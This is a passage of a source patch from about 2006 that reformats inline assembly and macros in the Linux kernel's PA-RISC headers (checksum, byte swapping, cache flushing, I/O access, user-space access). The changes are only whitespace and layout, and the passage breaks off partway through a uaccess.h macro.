@@ -179,24 +180,24 @@
 	if (!x)
 		return 0;
 
-	__asm__(
-	"	ldi		1,%1\n"
-	"	extru,<>	%0,15,16,%%r0\n"
-	"	zdep,TR		%0,15,16,%0\n"		/* xxxx0000 */
-	"	addi		16,%1,%1\n"
-	"	extru,<>	%0,7,8,%%r0\n"
-	"	zdep,TR		%0,23,24,%0\n"		/* xx000000 */
-	"	addi		8,%1,%1\n"
-	"	extru,<>	%0,3,4,%%r0\n"
-	"	zdep,TR		%0,27,28,%0\n"		/* x0000000 */
-	"	addi		4,%1,%1\n"
-	"	extru,<>	%0,1,2,%%r0\n"
-	"	zdep,TR		%0,29,30,%0\n"		/* y0000000 (y&3 = 0) */
-	"	addi		2,%1,%1\n"
-	"	extru,=		%0,0,1,%%r0\n"
-	"	addi		1,%1,%1\n"		/* if y & 8, add 1 */
-		: "+r" (x), "=r" (ret) );
-
+	__asm__ ("\n"
+	"	ldi		1, %1\n"
+	"	extru,<>	%0, 15,16, %%r0\n"
+	"	zdep,TR		%0, 15,16, %0\n"		/* xxxx0000 */
+	"	addi		16, %1, %1\n"
+	"	extru,<>	%0, 7,8, %%r0\n"
+	"	zdep,TR		%0, 23,24, %0\n"		/* xx000000 */
+	"	addi		8, %1, %1\n"
+	"	extru,<>	%0, 3,4, %%r0\n"
+	"	zdep,TR		%0, 27,28, %0\n"		/* x0000000 */
+	"	addi		4, %1, %1\n"
+	"	extru,<>	%0, 1,2, %%r0\n"
+	"	zdep,TR		%0, 29,30, %0\n"		/* y0000000 (y&3 = 0) */
+	"	addi		2, %1, %1\n"
+	"	extru,=		%0, 0,1, %%r0\n"
+	"	addi		1, %1, %1"			/* if y & 8, add 1 */
+		: "+r" (x), "=r" (ret)
+	);
 	return ret;
 }
 
@@ -215,9 +216,9 @@
 /* '3' is bits per byte */
 #define LE_BYTE_ADDR ((sizeof(unsigned long) - 1) << 3)
 
-#define ext2_set_bit_atomic(l,nr,addr) \
+#define ext2_set_bit_atomic(l, nr, addr) \
 		test_and_set_bit((nr)   ^ LE_BYTE_ADDR, (unsigned long *)addr)
-#define ext2_clear_bit_atomic(l,nr,addr) \
+#define ext2_clear_bit_atomic(l, nr, addr) \
 		test_and_clear_bit( (nr) ^ LE_BYTE_ADDR, (unsigned long *)addr)
 
 #endif	/* __KERNEL__ */
--- ./include/asm-parisc/cache.h.Orig	2006-04-10 11:54:04.000000000 +0200
+++ ./include/asm-parisc/cache.h	2006-04-10 18:11:23.000000000 +0200
@@ -65,9 +65,24 @@
 extern int icache_stride;
 extern struct pdc_cache_info cache_info;
 
-#define pdtlb(addr)         asm volatile("pdtlb 0(%%sr1,%0)" : : "r" (addr));
-#define pitlb(addr)         asm volatile("pitlb 0(%%sr1,%0)" : : "r" (addr));
-#define pdtlb_kernel(addr)  asm volatile("pdtlb 0(%0)" : : "r" (addr));
+#define pdtlb(addr)					\
+	__asm__ __volatile__ ("\n"			\
+	"	pdtlb		0(%%sr1, %0)"		\
+		:					\
+		: "r" (addr)				\
+	)
+#define pitlb(addr)					\
+	__asm__ __volatile__ ("\n"			\
+	"	pitlb		0(%%sr1, %0)"		\
+		:					\
+		: "r" (addr)				\
+	)
+#define pdtlb_kernel(addr)				\
+	__asm__ __volatile__ ("\n"			\
+	"	pdtlb		0(%0)"			\
+		:					\
+		: "r" (addr)				\
+	)
 
 #endif /* ! __ASSEMBLY__ */
 
--- ./include/asm-parisc/cacheflush.h.Orig	2006-04-10 12:16:54.000000000 +0200
+++ ./include/asm-parisc/cacheflush.h	2006-04-10 17:39:04.000000000 +0200
@@ -16,7 +16,7 @@
 #define flush_cache_mm(mm) flush_cache_all_local()
 #endif
 
-#define flush_kernel_dcache_range(start,size) \
+#define flush_kernel_dcache_range(start, size) \
 	flush_kernel_dcache_range_asm((start), (start)+(size));
 
 extern void flush_cache_all_local(void);
@@ -41,7 +41,7 @@
 flush_user_dcache_range(unsigned long start, unsigned long end)
 {
 	if ((end - start) < parisc_cache_flush_threshold)
-		flush_user_dcache_range_asm(start,end);
+		flush_user_dcache_range_asm(start, end);
 	else
 		flush_data_cache();
 }
@@ -50,7 +50,7 @@
 flush_user_icache_range(unsigned long start, unsigned long end)
 {
 	if ((end - start) < parisc_cache_flush_threshold)
-		flush_user_icache_range_asm(start,end);
+		flush_user_icache_range_asm(start, end);
 	else
 		flush_instruction_cache();
 }
@@ -62,21 +62,26 @@
 #define flush_dcache_mmap_unlock(mapping) \
 	write_unlock_irq(&(mapping)->tree_lock)
 
-#define flush_icache_page(vma,page)	do { flush_kernel_dcache_page(page); flush_kernel_icache_page(page_address(page)); } while (0)
+#define flush_icache_page(vma, page)	do {				\
+	flush_kernel_dcache_page(page);					\
+	flush_kernel_icache_page(page_address(page));			\
+} while (0)
 
-#define flush_icache_range(s,e)		do { flush_kernel_dcache_range_asm(s,e); flush_kernel_icache_range_asm(s,e); } while (0)
+#define flush_icache_range(s, e)	do {				\
+	flush_kernel_dcache_range_asm(s, e);				\
+	flush_kernel_icache_range_asm(s, e);				\
+} while (0)
 
-#define copy_to_user_page(vma, page, vaddr, dst, src, len) \
-do { \
-	flush_cache_page(vma, vaddr, page_to_pfn(page)); \
-	memcpy(dst, src, len); \
-	flush_kernel_dcache_range_asm((unsigned long)dst, (unsigned long)dst + len); \
+#define copy_to_user_page(vma, page, vaddr, dst, src, len)	do {	\
+	flush_cache_page(vma, vaddr, page_to_pfn(page));		\
+	memcpy(dst, src, len);						\
+	flush_kernel_dcache_range_asm((unsigned long)dst,		\
+					(unsigned long)dst + len);	\
 } while (0)
 
-#define copy_from_user_page(vma, page, vaddr, dst, src, len) \
-do { \
-	flush_cache_page(vma, vaddr, page_to_pfn(page)); \
-	memcpy(dst, src, len); \
+#define copy_from_user_page(vma, page, vaddr, dst, src, len)	do {	\
+	flush_cache_page(vma, vaddr, page_to_pfn(page));		\
+	memcpy(dst, src, len);						\
 } while (0)
 
 static inline void flush_cache_range(struct vm_area_struct *vma,
@@ -91,8 +96,8 @@
 
 	sr3 = mfsp(3);
 	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+		flush_user_dcache_range(start, end);
+		flush_user_icache_range(start, end);
 	} else {
 		flush_cache_all();
 	}
--- ./include/asm-parisc/byteorder.h.Orig	2006-04-10 12:23:08.000000000 +0200
+++ ./include/asm-parisc/byteorder.h	2006-04-10 18:13:30.000000000 +0200
@@ -8,31 +8,37 @@
 
 static __inline__ __attribute_const__ __u16 ___arch__swab16(__u16 x)
 {
-	__asm__("dep %0, 15, 8, %0\n\t"		/* deposit 00ab -> 0bab */
-		"shd %%r0, %0, 8, %0"		/* shift 000000ab -> 00ba */
+	__asm__ ("\n"
+	"	dep		%0, 15,8, %0\n"		/* deposit 00ab -> 0bab */
+	"	shd		%%r0, %0,8, %0"		/* shift 000000ab -> 00ba */
 		: "=r" (x)
-		: "0" (x));
+		: "0" (x)
+	);
 	return x;
 }
 
 static __inline__ __attribute_const__ __u32 ___arch__swab24(__u32 x)
 {
-	__asm__("shd %0, %0, 8, %0\n\t"		/* shift xabcxabc -> cxab */
-		"dep %0, 15, 8, %0\n\t"		/* deposit cxab -> cbab */
-		"shd %%r0, %0, 8, %0"		/* shift 0000cbab -> 0cba */
+	__asm__ ("\n"
+	"	shd 		%0, %0,8, %0\n"		/* shift xabcxabc -> cxab */
+	"	dep		%0, 15,8, %0\n"		/* deposit cxab -> cbab */
+	"	shd		%%r0, %0,8, %0"		/* shift 0000cbab -> 0cba */
 		: "=r" (x)
-		: "0" (x));
+		: "0" (x)
+	);
 	return x;
 }
 
 static __inline__ __attribute_const__ __u32 ___arch__swab32(__u32 x)
 {
 	unsigned int temp;
-	__asm__("shd %0, %0, 16, %1\n\t"	/* shift abcdabcd -> cdab */
-		"dep %1, 15, 8, %1\n\t"		/* deposit cdab -> cbab */
-		"shd %0, %1, 8, %0"		/* shift abcdcbab -> dcba */
+	__asm__ ("\n"
+	"	shd		%0, %0,16, %1\n"	/* shift abcdabcd -> cdab */
+	"	dep		%1, 15,8, %1\n"		/* deposit cdab -> cbab */
+	"	shd		%0, %1,8, %0"		/* shift abcdcbab -> dcba */
 		: "=r" (x), "=&r" (temp)
-		: "0" (x));
+		: "0" (x)
+	);
 	return x;
 }
 
@@ -50,12 +56,14 @@
 */
 static __inline__ __attribute_const__ __u64 ___arch__swab64(__u64 x) {
 	__u64 temp;
-	__asm__("permh,3210 %0, %0\n\t"
-		"hshl %0, 8, %1\n\t"
-		"hshr,u %0, 8, %0\n\t"
-		"or %1, %0, %0"
+	__asm__ ("\n"
+	"	permh,3210	%0, %0\n"
+	"	hshl		%0, 8, %1\n"
+	"	hshr,u		%0, 8, %0\n"
+	"	or		%1, %0, %0"
 		: "=r" (x), "=&r" (temp)
-		: "0" (x));
+		: "0" (x)
+	);
 	return x;
 }
 #define __arch__swab64(x) ___arch__swab64(x)
--- ./include/asm-parisc/checksum.h.Orig	2006-04-10 14:30:21.000000000 +0200
+++ ./include/asm-parisc/checksum.h	2006-04-10 18:17:59.000000000 +0200
@@ -44,31 +44,31 @@
 	unsigned int sum;
 
 
-	__asm__ __volatile__ (
-"	ldws,ma		4(%1), %0\n"
-"	addib,<=	-4, %2, 2f\n"
-"\n"
-"	ldws		4(%1), %%r20\n"
-"	ldws		8(%1), %%r21\n"
-"	add		%0, %%r20, %0\n"
-"	ldws,ma		12(%1), %%r19\n"
-"	addc		%0, %%r21, %0\n"
-"	addc		%0, %%r19, %0\n"
-"1:	ldws,ma		4(%1), %%r19\n"
-"	addib,<		0, %2, 1b\n"
-"	addc		%0, %%r19, %0\n"
-"\n"
-"	extru		%0, 31, 16, %%r20\n"
-"	extru		%0, 15, 16, %%r21\n"
-"	addc		%%r20, %%r21, %0\n"
-"	extru		%0, 15, 16, %%r21\n"
-"	add		%0, %%r21, %0\n"
-"	subi		-1, %0, %0\n"
-"2:\n"
-	: "=r" (sum), "=r" (iph), "=r" (ihl)
-	: "1" (iph), "2" (ihl)
-	: "r19", "r20", "r21" );
-
+	__asm__ __volatile__ ("\n"
+	"	ldws,ma		4(%1), %0\n"
+	"	addib,<=	-4, %2, 2f\n"
+	"\n"
+	"	ldws		4(%1), %%r20\n"
+	"	ldws		8(%1), %%r21\n"
+	"	add		%0, %%r20, %0\n"
+	"	ldws,ma		12(%1), %%r19\n"
+	"	addc		%0, %%r21, %0\n"
+	"	addc		%0, %%r19, %0\n"
+	"1:	ldws,ma		4(%1), %%r19\n"
+	"	addib,<		0, %2, 1b\n"
+	"	addc		%0, %%r19, %0\n"
+	"\n"
+	"	extru		%0, 31,16, %%r20\n"
+	"	extru		%0, 15,16, %%r21\n"
+	"	addc		%%r20, %%r21, %0\n"
+	"	extru		%0, 15,16, %%r21\n"
+	"	add		%0, %%r21, %0\n"
+	"	subi		-1, %0, %0\n"
+	"2:"
+		: "=r" (sum), "=r" (iph), "=r" (ihl)
+		: "1" (iph), "2" (ihl)
+		: "r19", "r20", "r21"
+	);
 	return(sum);
 }
 
@@ -91,13 +91,14 @@
 					       unsigned short proto,
 					       unsigned int sum) 
 {
-	__asm__(
-	"	add  %1, %0, %0\n"
-	"	addc %2, %0, %0\n"
-	"	addc %3, %0, %0\n"
-	"	addc %%r0, %0, %0\n"
+	__asm__ ("\n"
+	"	add		%1, %0, %0\n"
+	"	addc		%2, %0, %0\n"
+	"	addc		%3, %0, %0\n"
+	"	addc		%%r0, %0, %0"
 		: "=r" (sum)
-		: "r" (daddr), "r"(saddr), "r"((proto<<16)+len), "0"(sum));
+		: "r" (daddr), "r"(saddr), "r"((proto<<16)+len), "0"(sum)
+	);
     return sum;
 }
 
@@ -130,7 +131,7 @@
 						     unsigned short proto,
 						     unsigned int sum) 
 {
-	__asm__ __volatile__ (
+	__asm__ __volatile__ ("\n"
 
 #if BITS_PER_LONG > 32
 
@@ -140,20 +141,20 @@
 	** Try to keep 4 registers with "live" values ahead of the ALU.
 	*/
 
-"	ldd,ma		8(%1), %%r19\n"	/* get 1st saddr word */
-"	ldd,ma		8(%2), %%r20\n"	/* get 1st daddr word */
-"	add		%8, %3, %3\n"/* add 16-bit proto + len */
-"	add		%%r19, %0, %0\n"
-"	ldd,ma		8(%1), %%r21\n"	/* 2cd saddr */
-"	ldd,ma		8(%2), %%r22\n"	/* 2cd daddr */
-"	add,dc		%%r20, %0, %0\n"
-"	add,dc		%%r21, %0, %0\n"
-"	add,dc		%%r22, %0, %0\n"
-"	add,dc		%3, %0, %0\n"  /* fold in proto+len | carry bit */
-"	extrd,u		%0, 31, 32, %%r19\n"	/* copy upper half down */
-"	depdi		0, 31, 32, %0\n"	/* clear upper half */
-"	add		%%r19, %0, %0\n"	/* fold into 32-bits */
-"	addc		0, %0, %0\n"		/* add carry */
+	"	ldd,ma		8(%1), %%r19\n"	/* get 1st saddr word */
+	"	ldd,ma		8(%2), %%r20\n"	/* get 1st daddr word */
+	"	add		%8, %3, %3\n"/* add 16-bit proto + len */
+	"	add		%%r19, %0, %0\n"
+	"	ldd,ma		8(%1), %%r21\n"	/* 2cd saddr */
+	"	ldd,ma		8(%2), %%r22\n"	/* 2cd daddr */
+	"	add,dc		%%r20, %0, %0\n"
+	"	add,dc		%%r21, %0, %0\n"
+	"	add,dc		%%r22, %0, %0\n"
+	"	add,dc		%3, %0, %0\n"  /* fold in proto+len | carry bit */
+	"	extrd,u		%0, 31, 32, %%r19\n"	/* copy upper half down */
+	"	depdi		0, 31, 32, %0\n"	/* clear upper half */
+	"	add		%%r19, %0, %0\n"	/* fold into 32-bits */
+	"	addc		0, %0, %0"		/* add carry */
 
 #else
 
@@ -163,29 +164,30 @@
 	** result from the previous operation (eg r0 + x)
 	*/
 
-"	ldw,ma		4(%1), %%r19\n"	/* get 1st saddr word */
-"	ldw,ma		4(%2), %%r20\n"	/* get 1st daddr word */
-"	add		%8, %3, %3\n"	/* add 16-bit proto + len */
-"	add		%%r19, %0, %0\n"
-"	ldw,ma		4(%1), %%r21\n"	/* 2cd saddr */
-"	addc		%%r20, %0, %0\n"
-"	ldw,ma		4(%2), %%r22\n"	/* 2cd daddr */
-"	addc		%%r21, %0, %0\n"
-"	ldw,ma		4(%1), %%r19\n"	/* 3rd saddr */
-"	addc		%%r22, %0, %0\n"
-"	ldw,ma		4(%2), %%r20\n"	/* 3rd daddr */
-"	addc		%%r19, %0, %0\n"
-"	ldw,ma		4(%1), %%r21\n"	/* 4th saddr */
-"	addc		%%r20, %0, %0\n"
-"	ldw,ma		4(%2), %%r22\n"	/* 4th daddr */
-"	addc		%%r21, %0, %0\n"
-"	addc		%%r22, %0, %0\n"
-"	addc		%3, %0, %0\n"	/* fold in proto+len, catch carry */
+	"	ldw,ma		4(%1), %%r19\n"	/* get 1st saddr word */
+	"	ldw,ma		4(%2), %%r20\n"	/* get 1st daddr word */
+	"	add		%8, %3, %3\n"	/* add 16-bit proto + len */
+	"	add		%%r19, %0, %0\n"
+	"	ldw,ma		4(%1), %%r21\n"	/* 2cd saddr */
+	"	addc		%%r20, %0, %0\n"
+	"	ldw,ma		4(%2), %%r22\n"	/* 2cd daddr */
+	"	addc		%%r21, %0, %0\n"
+	"	ldw,ma		4(%1), %%r19\n"	/* 3rd saddr */
+	"	addc		%%r22, %0, %0\n"
+	"	ldw,ma		4(%2), %%r20\n"	/* 3rd daddr */
+	"	addc		%%r19, %0, %0\n"
+	"	ldw,ma		4(%1), %%r21\n"	/* 4th saddr */
+	"	addc		%%r20, %0, %0\n"
+	"	ldw,ma		4(%2), %%r22\n"	/* 4th daddr */
+	"	addc		%%r21, %0, %0\n"
+	"	addc		%%r22, %0, %0\n"
+	"	addc		%3, %0, %0"	/* fold in proto+len, catch carry */
 
 #endif
-	: "=r" (sum), "=r" (saddr), "=r" (daddr), "=r" (len)
-	: "0" (sum), "1" (saddr), "2" (daddr), "3" (len), "r" (proto)
-	: "r19", "r20", "r21", "r22");
+		: "=r" (sum), "=r" (saddr), "=r" (daddr), "=r" (len)
+		: "0" (sum), "1" (saddr), "2" (daddr), "3" (len), "r" (proto)
+		: "r19", "r20", "r21", "r22"
+	);
 	return csum_fold(sum);
 }
 
--- ./include/asm-parisc/delay.h.Orig	2006-04-10 14:43:17.000000000 +0200
+++ ./include/asm-parisc/delay.h	2006-04-10 18:18:38.000000000 +0200
@@ -12,11 +12,12 @@
  */
 
 static __inline__ void __delay(unsigned long loops) {
-	asm volatile(
+	__asm__ __volatile__ ("\n"
 	"	.balignl	64,0x34000034\n"
-	"	addib,UV -1,%0,.\n"
-	"	nop\n"
-		: "=r" (loops) : "0" (loops));
+	"	addib,UV	-1,%0,.\n"
+	"	nop"
+		: "=r" (loops) : "0" (loops)
+	);
 }
 
 static __inline__ void __cr16_delay(unsigned long clocks) {
--- ./include/asm-parisc/io.h.Orig	2006-04-10 14:46:05.000000000 +0200
+++ ./include/asm-parisc/io.h	2006-04-13 10:42:33.000000000 +0200
@@ -30,12 +30,13 @@
 	long flags;
 	unsigned char ret;
 
-	__asm__ __volatile__(
-	"	rsm	2,%0\n"
-	"	ldbx	0(%2),%1\n"
-	"	mtsm	%0\n"
-	: "=&r" (flags), "=r" (ret) : "r" (addr) );
-
+	__asm__ __volatile__ ("\n"
+	"	rsm		2, %0\n"
+	"	ldbx		0(%2), %1\n"
+	"	mtsm		%0"
+		: "=&r" (flags), "=r" (ret)
+		: "r" (addr)
+	);
 	return ret;
 }
 
@@ -44,12 +45,13 @@
 	long flags;
 	unsigned short ret;
 
-	__asm__ __volatile__(
-	"	rsm	2,%0\n"
-	"	ldhx	0(%2),%1\n"
-	"	mtsm	%0\n"
-	: "=&r" (flags), "=r" (ret) : "r" (addr) );
-
+	__asm__ __volatile__ ("\n"
+	"	rsm		2, %0\n"
+	"	ldhx		0(%2), %1\n"
+	"	mtsm		%0"
+		: "=&r" (flags), "=r" (ret)
+		: "r" (addr)
+	);
 	return ret;
 }
 
@@ -57,10 +59,11 @@
 {
 	u32 ret;
 
-	__asm__ __volatile__(
-	"	ldwax	0(%1),%0\n"
-	: "=r" (ret) : "r" (addr) );
-
+	__asm__ __volatile__ ("\n"
+	"	ldwax		0(%1), %0"
+		: "=r" (ret)
+		: "r" (addr)
+	);
 	return ret;
 }
 
@@ -69,9 +72,11 @@
 	unsigned long long ret;
 
 #ifdef __LP64__
-	__asm__ __volatile__(
-	"	ldda	0(%1),%0\n"
-	:  "=r" (ret) : "r" (addr) );
+	__asm__ __volatile__ ("\n"
+	"	ldda		0(%1), %0"
+		: "=r" (ret)
+		: "r" (addr)
+	);
 #else
 	/* two reads may have side effects.. */
 	ret = ((u64) gsc_readl(addr)) << 32;
@@ -83,36 +88,44 @@
 static inline void gsc_writeb(unsigned char val, unsigned long addr)
 {
 	long flags;
-	__asm__ __volatile__(
-	"	rsm	2,%0\n"
-	"	stbs	%1,0(%2)\n"
-	"	mtsm	%0\n"
-	: "=&r" (flags) :  "r" (val), "r" (addr) );
+	__asm__ __volatile__ ("\n"
+	"	rsm		2, %0\n"
+	"	stbs		%1, 0(%2)\n"
+	"	mtsm		%0"
+		: "=&r" (flags)
+		: "r" (val), "r" (addr)
+	);
 }
 
 static inline void gsc_writew(unsigned short val, unsigned long addr)
 {
 	long flags;
-	__asm__ __volatile__(
-	"	rsm	2,%0\n"
-	"	sths	%1,0(%2)\n"
-	"	mtsm	%0\n"
-	: "=&r" (flags) :  "r" (val), "r" (addr) );
+	__asm__ __volatile__ ("\n"
+	"	rsm		2, %0\n"
+	"	sths		%1, 0(%2)\n"
+	"	mtsm		%0"
+		: "=&r" (flags)
+		: "r" (val), "r" (addr)
+	);
 }
 
 static inline void gsc_writel(unsigned int val, unsigned long addr)
 {
-	__asm__ __volatile__(
-	"	stwas	%0,0(%1)\n"
-	: :  "r" (val), "r" (addr) );
+	__asm__ __volatile__ ("\n"
+	"	stwas		%0, 0(%1)"
+		:
+		: "r" (val), "r" (addr)
+	);
 }
 
 static inline void gsc_writeq(unsigned long long val, unsigned long addr)
 {
 #ifdef __LP64__
-	__asm__ __volatile__(
-	"	stda	%0,0(%1)\n"
-	: :  "r" (val), "r" (addr) );
+	__asm__ __volatile__ ("\n"
+	"	stda		%0, 0(%1)"
+		:
+		: "r" (val), "r" (addr)
+	);
 #else
 	/* two writes may have side effects.. */
 	gsc_writel(val >> 32, addr);
--- ./include/asm-parisc/processor.h.Orig	2006-04-10 15:41:18.000000000 +0200
+++ ./include/asm-parisc/processor.h	2006-04-10 18:24:23.000000000 +0200
@@ -34,7 +34,15 @@
    PA-RISC.  This is no longer true, but this still seems like the
    nicest way to implement this. */
 
-#define current_text_addr() ({ void *pc; __asm__("\n\tblr 0,%0\n\tnop":"=r" (pc)); pc; })
+#define current_text_addr()	({			\
+	void *pc;					\
+	__asm__ ("\n"					\
+	"	blr		0, %0\n"		\
+	"	nop"					\
+		:"=r" (pc)				\
+	);						\
+	pc;						\
+})
 
 #define TASK_SIZE               (current->thread.task_size)
 #define TASK_UNMAPPED_BASE      (current->thread.map_base)
@@ -348,12 +356,20 @@
 
 extern inline void prefetch(const void *addr)
 {
-	__asm__("ldw 0(%0), %%r0" : : "r" (addr));
+	__asm__ ("\n"
+	"	ldw		0(%0), %%r0"
+		:
+		: "r" (addr)
+	);
 }
 
 extern inline void prefetchw(const void *addr)
 {
-	__asm__("ldd 0(%0), %%r0" : : "r" (addr));
+	__asm__ ("\n"
+	"	ldd		0(%0), %%r0"
+		:
+		: "r" (addr)
+	);
 }
 #endif
 
--- ./include/asm-parisc/uaccess.h.Orig	2006-04-10 16:05:32.000000000 +0200
+++ ./include/asm-parisc/uaccess.h	2006-04-10 18:28:14.000000000 +0200
@@ -76,97 +76,122 @@
 	unsigned long fault_addr;
 };
 
-#define __get_user(x,ptr)                               \
-({                                                      \
-	register long __gu_err __asm__ ("r8") = 0;      \
-	register long __gu_val __asm__ ("r9") = 0;      \
-							\
-	if (segment_eq(get_fs(),KERNEL_DS)) {           \
-	    switch (sizeof(*(ptr))) {                   \
-	    case 1: __get_kernel_asm("ldb",ptr); break; \
-	    case 2: __get_kernel_asm("ldh",ptr); break; \
-	    case 4: __get_kernel_asm("ldw",ptr); break; \
-	    case 8: LDD_KERNEL(ptr); break;		\
-	    default: __get_kernel_bad(); break;         \
-	    }                                           \
-	}                                               \
-	else {                                          \
-	    switch (sizeof(*(ptr))) {                   \
-	    case 1: __get_user_asm("ldb",ptr); break;   \
-	    case 2: __get_user_asm("ldh",ptr); break;   \
-	    case 4: __get_user_asm("ldw",ptr); break;   \
-	    case 8: LDD_USER(ptr);  break;		\
-	    default: __get_user_bad(); break;           \
-	    }                                           \
-	}                                               \
-							\
-	(x) = (__typeof__(*(ptr))) __gu_val;            \
-	__gu_err;                                       \
+#define __get_user(x, ptr)	({				\
+								\
+	register long __gu_err __asm__ ("r8") = 0;		\
+	register long __gu_val __asm__ ("r9") = 0;		\
+								\
+	if (segment_eq(get_fs(), KERNEL_DS)) {			\
+		switch (sizeof(*(ptr))) {			\
+			case 1: __get_kernel_asm("ldb", ptr);	\
+				break;				\
+			case 2: __get_kernel_asm("ldh", ptr);	\
+				break;				\
+			case 4: __get_kernel_asm("ldw", ptr);	\
+				break;				\
+			case 8: LDD_KERNEL(ptr);		\
+				break;				\
+			default: __get_kernel_bad();		\
+				break;				\
+		}						\
+	} else {						\
+		switch (sizeof(*(ptr))) {			\
+			case 1: __get_user_asm("ldb", ptr);	\
+				break;				\
+			case 2: __get_user_asm("ldh", ptr);	\
+				break;				\
+			case 4: __get_user_asm("ldw", ptr);	\
+				break;				\
+			case 8: LDD_USER(ptr);			\
+				break;				\
+			default: __get_user_bad();		\
+				break;				\
+		}						\
+	}							\
+								\
+	(x) = (__typeof__(*(ptr))) __gu_val;			\
+	__gu_err;						\
 })
 
 #ifdef __LP64__
-#define __get_kernel_asm(ldx,ptr)                       \
-	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
-		"\t.section __ex_table,\"aw\"\n"        \
-		"\t.dword\t1b,fixup_get_user_skip_1\n"	\
-		"\t.previous"                          	\
-		: "=r"(__gu_val), "=r"(__gu_err)        \
+#define __get_kernel_asm(ldx, ptr)			\
+	__asm__ ("\n"					\
+	"1:	" ldx "		0(%2), %0\n"		\
+	"	.section __ex_table,\"aw\"\n"		\
+	"	.dword	1b, fixup_get_user_skip_1\n"	\
+	"	.previous"				\
+		: "=r"(__gu_val), "=r"(__gu_err)	\
 		: "r"(ptr), "1"(__gu_err)		\
-		: "r1");
+		: "r1"					\
+	)
 
-#define __get_user_asm(ldx,ptr)                         \
-	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
-		"\t.section __ex_table,\"aw\"\n"	\
-		"\t.dword\t1b,fixup_get_user_skip_1\n"	\
-		"\t.previous"				\
-		: "=r"(__gu_val), "=r"(__gu_err)        \
+#define __get_user_asm(ldx, ptr)			\
+	__asm__ ("\n"					\
+	"1:	" ldx "		0(%%sr3, %2), %0\n"	\
+	"	.section __ex_table,\"aw\"\n"		\
+	"	.dword	1b, fixup_get_user_skip_1\n"	\
+	"	.previous"				\
+		: "=r"(__gu_val), "=r"(__gu_err)	\
 		: "r"(ptr), "1"(__gu_err)		\
-		: "r1");
+		: "r1"					\
+	)
 #else
-#define __get_kernel_asm(ldx,ptr)                       \
-	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
-		"\t.section __ex_table,\"aw\"\n"        \
-		"\t.word\t1b,fixup_get_user_skip_1\n"	\
-		"\t.previous"                          	\
-		: "=r"(__gu_val), "=r"(__gu_err)        \
+#define __get_kernel_asm(ldx, ptr)			\
+	__asm__ ("\n"					\
+	"1:	" ldx "		0(%2), %0\n"		\
+	"	.section __ex_table,\"aw\"\n"		\
+	"	.word	1b, fixup_get_user_skip_1\n"	\
+	"	.previous"				\
+		: "=r"(__gu_val), "=r"(__gu_err)	\
 		: "r"(ptr), "1"(__gu_err)		\
-		: "r1");
+		: "r1"					\
+	)
 
-#define __get_user_asm(ldx,ptr)                         \
-	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
-		"\t.section __ex_table,\"aw\"\n"	\
-		 "\t.word\t1b,fixup_get_user_skip_1\n"	\
-		 "\t.previous"                          \
-		: "=r"(__gu_val), "=r"(__gu_err)        \
+#define __get_user_asm(ldx, ptr)			\
+	__asm__ ("\n"					\
+	"1:	" ldx "		0(%%sr3, %2), %0\n"	\
+	"	.section __ex_table,\"aw\"\n"		\
+	"	.word	1b, fixup_get_user_skip_1\n"	\
+	"	.previous"				\
+		: "=r"(__gu_val), "=r"(__gu_err)	\
 		: "r"(ptr), "1"(__gu_err)		\
-		: "r1");
+		: "r1"					\
+	)
 #endif /* !__LP64__ */
 
-#define __put_user(x,ptr)                                       \
-({								\
-	register long __pu_err __asm__ ("r8") = 0;      	\
-        __typeof__(*(ptr)) __x = (__typeof__(*(ptr)))(x);	\
-								\
-	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
-	    switch (sizeof(*(ptr))) {                           \
-	    case 1: __put_kernel_asm("stb",__x,ptr); break;     \
-	    case 2: __put_kernel_asm("sth",__x,ptr); break;     \
-	    case 4: __put_kernel_asm("stw",__x,ptr); break;     \
-	    case 8: STD_KERNEL(__x,ptr); break;			\
-	    default: __put_kernel_bad(); break;			\
-	    }                                                   \
-	}                                                       \
-	else {                                                  \
-	    switch (sizeof(*(ptr))) {                           \
-	    case 1: __put_user_asm("stb",__x,ptr); break;       \
-	    case 2: __put_user_asm("sth",__x,ptr); break;       \
-	    case 4: __put_user_asm("stw",__x,ptr); break;       \
-	    case 8: STD_USER(__x,ptr); break;			\
-	    default: __put_user_bad(); break;			\
-	    }                                                   \
-	}                                                       \
-								\
-	__pu_err;						\
+#define __put_user(x, ptr)	({					\
+									\
+	register long __pu_err __asm__ ("r8") = 0;			\
+        __typeof__(*(ptr)) __x = (__typeof__(*(ptr)))(x);		\
+									\
+	if (segment_eq(get_fs(),KERNEL_DS)) {				\
+		switch (sizeof(*(ptr))) {				\
+			case 1: __put_kernel_asm("stb", __x, ptr);	\
+				break;					\
+			case 2: __put_kernel_asm("sth", __x, ptr);	\
+				break;					\
+			case 4: __put_kernel_asm("stw", __x, ptr);	\
+				break;					\
+			case 8: STD_KERNEL(__x, ptr);			\
+				break;					\
+			default: __put_kernel_bad();			\
+				break;					\
+		}							\
+	} else {							\
+		switch (sizeof(*(ptr))) {				\
+			case 1: __put_user_asm("stb", __x, ptr);	\
+				break;					\
+			case 2: __put_user_asm("sth", __x, ptr);	\
+				break;					\
+			case 4: __put_user_asm("stw", __x, ptr);	\
+				break;					\
+			case 8: STD_USER(__x, ptr);			\
+				break;					\
+			default: __put_user_bad();			\
+				break;					\
+		}							\
+	}								\
+	__pu_err;							\
 })
 
 /*
@@ -176,75 +201,82 @@
  */
 
 #ifdef __LP64__
-#define __put_kernel_asm(stx,x,ptr)                         \
-	__asm__ __volatile__ (                              \
-		"\n1:\t" stx "\t%2,0(%1)\n"                 \
-		"\t.section __ex_table,\"aw\"\n"            \
-		"\t.dword\t1b,fixup_put_user_skip_1\n"	    \
-		"\t.previous"                               \
-		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err))
-
-#define __put_user_asm(stx,x,ptr)                           \
-	__asm__ __volatile__ (                              \
-		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
-		"\t.section __ex_table,\"aw\"\n"            \
-		 "\t.dword\t1b,fixup_put_user_skip_1\n"	    \
-		 "\t.previous"                              \
-		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
-		: "r1")
+#define __put_kernel_asm(stx, x, ptr)			\
+	__asm__ __volatile__ ("\n"			\
